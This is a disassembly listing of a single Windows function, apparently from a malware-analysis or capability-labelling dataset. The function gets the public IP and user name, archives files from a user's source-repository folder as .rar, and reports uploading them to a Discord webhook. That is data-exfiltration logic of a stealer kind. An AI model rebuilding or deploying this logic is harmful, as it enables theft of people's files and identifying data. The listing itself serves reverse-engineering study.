Function at 0x140005c40
Capabilities:
Get session user name

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x270
mov rax, qword [0x140011040]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor r12d, r12d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xorps xmm0, xmm0
movups xmmword [rsp + 0x120], xmm0
movdqa xmm1, xmmword [0x14000ce20]
movdqu xmmword [rsp + 0x130], xmm1
mov byte [rsp + 0x120], r12b
call qword [sym.imp.libcurl.dll_curl_easy_init]
mov rbx, rax
test rax, rax
je 0x140005d01
lea r8, str.http:__ipinfo.io_ip
mov edx, 0x2712
mov rcx, rax
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
lea r8, [0x140003a40]
mov edx, 0x4e2b
mov rcx, rbx
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
lea r8, [rsp + 0x120]
mov edx, 0x2711
mov rcx, rbx
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov rcx, rbx
call qword [sym.imp.libcurl.dll_curl_easy_perform]
mov rcx, rbx
call qword [sym.imp.libcurl.dll_curl_easy_cleanup]
nop
mov dword [rsp + 0x78], 0x101
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x150]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rsp + 0xc0], xmm0
movdqu xmmword [rsp + 0xd0], xmm1
test eax, eax
je 0x140005d71
lea rax, [rsp + 0x150]
mov r14, 0xffffffffffffffff
mov r8, r14
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140005d50
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0xc0]
call fcn.1400089d0
jmp 0x140005d92
mov r8d, 0xc
lea rdx, str.Unknown_User
lea rcx, [rsp + 0xc0]
call fcn.1400089d0
mov r14, 0xffffffffffffffff
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x120]
call fcn.140005780
lea rax, str.C:Users_nevin_source_repos
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 0x1b
call fcn.140009c60
movaps xmm0, xmmword [rsp + 0x90]
movdqa xmmword [rsp + 0x30], xmm0
lea r8, [rsp + 0x30]
mov edx, eax
lea rcx, [rsp + 0x100]
call fcn.140001ac0
nop
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x80], xmm0
lea rdx, [rsp + 0x100]
lea rcx, [rsp + 0x80]
call fcn.140007bc0
test eax, eax
jne 0x140006479
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
mov rsi, qword [rsp + 0x88]
test rsi, rsi
je 0x140005e37
lock inc dword [rsi + 8]
mov rsi, qword [rsp + 0x88]
movaps xmm0, xmmword [rsp + 0x80]
movdqa xmmword [rsp + 0x90], xmm0
test rsi, rsi
je 0x140005e59
lock inc dword [rsi + 8]
mov rsi, qword [rsp + 0x88]
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x140], xmm1
test rsi, rsi
je 0x140005eaf
mov eax, r14d
lock xadd dword [rsi + 8], eax
cmp eax, 1
jne 0x140005ea7
mov rbx, qword [rsp + 0x88]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r14d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140005ea7
mov rsi, qword [rsp + 0x88]
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + 8]
jmp 0x140005eaf
mov rsi, qword [rsp + 0x88]
movabs rdi, 0x7fffffffffffffff
movabs r13, 0x4e94914f0000
mov r15, qword [rsp + 0x140]
nop dword [rax + rax]
mov rbx, qword [rsp + 0x90]
cmp rbx, r15
je 0x140006299
mov r8d, 3
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.140002cb0
mov edx, dword [rsp + 0x28]
mov rax, qword [rsp + 0x20]
test edx, edx
je 0x140005f10
lea ecx, [rax - 1]
test ecx, 0xfffffff7
jne 0x140006490
cmp eax, 3
jne 0x14000627f
lea rdx, [rbx + 0x20]
lea rcx, [rsp + 0xe0]
call fcn.140002290
nop
lea rcx, [rsp + 0xe0]
call fcn.140003a70
lea rax, [rsp + 0xe0]
cmp qword [rsp + 0xf8], 7
cmova rax, qword [rsp + 0xe0]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x38], rax
call fcn.140009c60
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x40], xmm0
lea r8, [rsp + 0x40]
mov edx, eax
lea rcx, [rsp + 0x50]
call fcn.140007900
nop
mov r8d, 4
lea rdx, str..rar
lea rcx, [rsp + 0x50]
call fcn.1400073b0
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xb0], r12
mov qword [rsp + 0xb8], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xa0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xb0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14000601e
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006019
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006019
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000a92c
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0xe0]
call fcn.1400048a0
lea rcx, [rsp + 0xa0]
call fcn.140005570
lea rdx, str.Uploaded
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140007f10
lea rdx, [rsp + 0xa0]
cmp qword [rsp + 0xb8], 0xf
cmova rdx, qword [rsp + 0xa0]
mov r8, qword [rsp + 0xb0]
mov rcx, rax
call fcn.1400095e0
lea rdx, str._to_Discord_webhook.
mov rcx, rax
call fcn.140007f10
lea rdx, [0x1400080f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x78]
call fcn.1400019e0
mov rax, qword [rsp + 0x78]
movabs rcx, 0x7fffffff4d2fa1ff
cmp rax, rcx
jge 0x1400060d5
mov edi, 0xb2d05e00
add rdi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
mov rcx, rax
cmp rbx, 0x989680
jne 0x1400060f9
imul rax, rcx, 0x64
jmp 0x140006172
cmp rbx, 0x16e3600
jne 0x140006157
movabs r9, 0xb2f4fc0794908cf3
mov rax, r9
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, r9
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x140006172
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, rdi
jge 0x1400061c8
mov rcx, rdi
sub rcx, rax
cmp rcx, r13
jle 0x140006193
mov edx, 0x5265c00
mov ecx, edx
call sub.KERNEL32.dll_Sleep
jmp 0x1400060d5
movabs rax, 0x431bde82d7b634db
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xf4240
cmp rax, rcx
jge 0x1400061bc
inc edx
mov ecx, edx
call sub.KERNEL32.dll_Sleep
jmp 0x1400060d5
mov rdx, qword [rsp + 0xb8]
cmp rdx, 0xf
jbe 0x14000620e
inc rdx
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006209
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006209
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000a92c
mov qword [rsp + 0xb0], r12
mov qword [rsp + 0xb8], 0xf
mov byte [rsp + 0xa0], 0
mov rdx, qword [rsp + 0xf8]
cmp rdx, 7
jbe 0x140006275
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006270
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006270
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000a92c
movabs rdi, 0x7fffffffffffffff
lea rcx, [rsp + 0x90]
call fcn.140002e10
test eax, eax
jne 0x1400064a0
jmp 0x140005ed0
mov rcx, qword [rsp + 0x98]
test rcx, rcx
je 0x1400062e6
mov eax, r14d
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x1400062de
mov rbx, qword [rsp + 0x98]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r14d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x1400062de
mov rcx, qword [rsp + 0x98]
mov rax, qword [rcx]
call qword [rax + 8]
mov rsi, qword [rsp + 0x88]
test rsi, rsi
je 0x140006323
mov eax, r14d
lock xadd dword [rsi + 8], eax
cmp eax, 1
jne 0x140006323
mov rbx, qword [rsp + 0x88]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
lock xadd dword [rbx + 0xc], r14d
cmp r14d, 1
jne 0x140006323
mov rcx, qword [rsp + 0x88]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rsp + 0x118]
cmp rdx, 7
jbe 0x14000636e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006369
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006369
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000a92c
movdqa xmm0, xmmword [0x14000ce10]
movdqu xmmword [rsp + 0x110], xmm0
mov word [rsp + 0x100], r12w
mov rdx, qword [rsp + 0xd8]
cmp rdx, 0xf
jbe 0x1400063cf
inc rdx
mov rcx, qword [rsp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400063c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400063c9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000a92c
nop
mov rdx, qword [rsp + 0x138]
cmp rdx, 0xf
jbe 0x140006415
inc rdx
mov rcx, qword [rsp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006410
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006410
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000a92c
xor eax, eax
jmp 0x140006447
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.14000a690
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
lea r8, [rsp + 0x100]
mov edx, eax
lea rcx, str.directory_iterator::directory_iterator
call fcn.140002be0
nop
lea r8, [rbx + 0x20]
lea rcx, str.directory_entry::status
call fcn.140002be0
mov edx, eax
lea rcx, str.directory_iterator::operator
call fcn.140002af0
int3